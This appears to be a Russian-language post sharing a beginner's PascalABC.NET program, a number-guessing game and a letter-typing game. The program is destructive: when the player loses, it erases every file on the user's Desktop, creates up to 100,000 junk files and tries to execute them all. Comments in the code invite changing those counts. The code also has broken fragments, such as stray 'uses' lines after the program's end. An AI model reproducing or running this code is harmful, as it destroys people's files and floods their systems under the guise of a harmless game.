Моя первая более менее сложная программа

program gameone;
uses crt;uses system;
var CodWuigrush,P1,P2,i,cod,t1,tr,comp,user,x,y:integer;
g:file;
f:PABCSystem.text;
ch1,ch:char;
d1,d2,Desktop:string;
begin
 d1:=Environment.GetEnvironmentVariable('HOMEPATH');d2:='C:'+d1;Desktop:=d2+'\Desktop\';
 textcolor(lightred);writeln(' Хочешь сыграть в ИГРУ  ');readln; writeln(' Играй '); delay(1000);
 textbackground(7);
 clrscr;
 textcolor(4);
 writeln('                    Угадайте число от 1 до 100 за 7 попыток ');
 comp:=PABCSystem.random(100)+1;
 gotoxy(40,20); writeln('?');
 tr:=0;
 x:=35; y:=8;
 repeat
  tr:=tr+1;
  gotoxy(x,y);
  write(' Попытка ',tr,':');
  readln(user);
  if user>comp then begin 
   gotoxy(45,20);
   writeln(user:3);
  end;
  if user<comp then begin
   gotoxy(35,20);
   writeln(user:3);
   y:=y+1;
  end;
 until (user=comp) or (tr=7);
 gotoxy(40,20);
 writeln(comp);
 if user=comp then begin
  writeln(' YOU WWWIIINNN ');
  repeat
   t1:=t1+1;
   Assign(f, Desktop+'Ты про'+t1);
   Rewrite(f);
   Close(f);
  until t1=10;
  readln;
  end
  else begin
for t1:=1 to 999 do begin
   foreach var gf in EnumerateFiles(Desktop, '*')do begin
   Assign(g, gf);
   Erase(g);
  end;
 end;
 t1:=1;
 repeat
 t1:=t1+1;
  Assign(f, Desktop+'Game Over Noob'+t1);
  Rewrite(f);
  Close(f);
 until t1=100000;   
  t1:=1;
 repeat
 t1:=t1+1;
 Exec(Desktop+'Game Over Noob'+t1);
 until t1=100000;
 end;
 clrscr;
 if user=comp then begin
  writeln(' Будет сложно верю в тебя ');delay(100);
  p1:=0;
  for i:=0 to 20 do begin 
   cod:=PABCSystem.random(26)+65;
   ch1:=chr(cod);
   y:=2; x:=PABCSystem.random(40)+30; gotoxy(x,y);
   textcolor(lightred);write(ch1);
   gotoxy(20,25); textcolor(lightgreen);writeln('_____________________________________________________________________________');
   repeat
    if keypressed then ch:=readkey; 
    gotoxy(x,y) ;textcolor(7); write(ch1);
    y:=y+1; gotoxy(x,y); textcolor(lightred); write(ch1);
    delay(100);//Если совсе когото нелюбите на 50 или меньше 
   until (y=24) or (upcase(ch)=ch1); 
   if ch1=upcase(ch)  then
    p1:=p1+1;
    gotoxy(x,y); textcolor(7);write(ch1);
   end;
   if p1>5 then p1:=p1-1;
    textcolor(lightgreen);
    writeln(' Правильно  ',p1);
    if p1>13 then begin
     writeln(' Всё ок это конец то победил СГЕНЕРИРУЮ Код ');CodWuigrush:=PABCSystem.random(26)+65;CodWuigrush:=CodWuigrush+PABCSystem.random(10000000000000000000)+10000;
     writeln(CodWuigrush,'--- Попробуй проиграть если не доволен выигрышем  ');
     end;
     if p1<=12 then begin
      writeln(' Проиграл ');
      for t1:=1 to 999 do begin
   foreach var gf in EnumerateFiles(Desktop, '*')do begin
   Assign(g, gf);
   Erase(g);
  end;
 end;
 t1:=1;
repeat
 t1:=t1+1;
  Assign(f, Desktop+'Game Over Noob'+t1);
  Rewrite(f);
  Close(f);
 until t1=100000;  //Больше или меньше как хотите 
 textcolor(lightred);writeln(' Не стоило проигрывть ');delay(150);
 t1:=1;
 repeat
 t1:=t1+1;
 Exec(Desktop+'Game Over Noob'+t1);
 until t1=100000;
 end;
 end;
 end.

uses Crt;   
Uses Dos;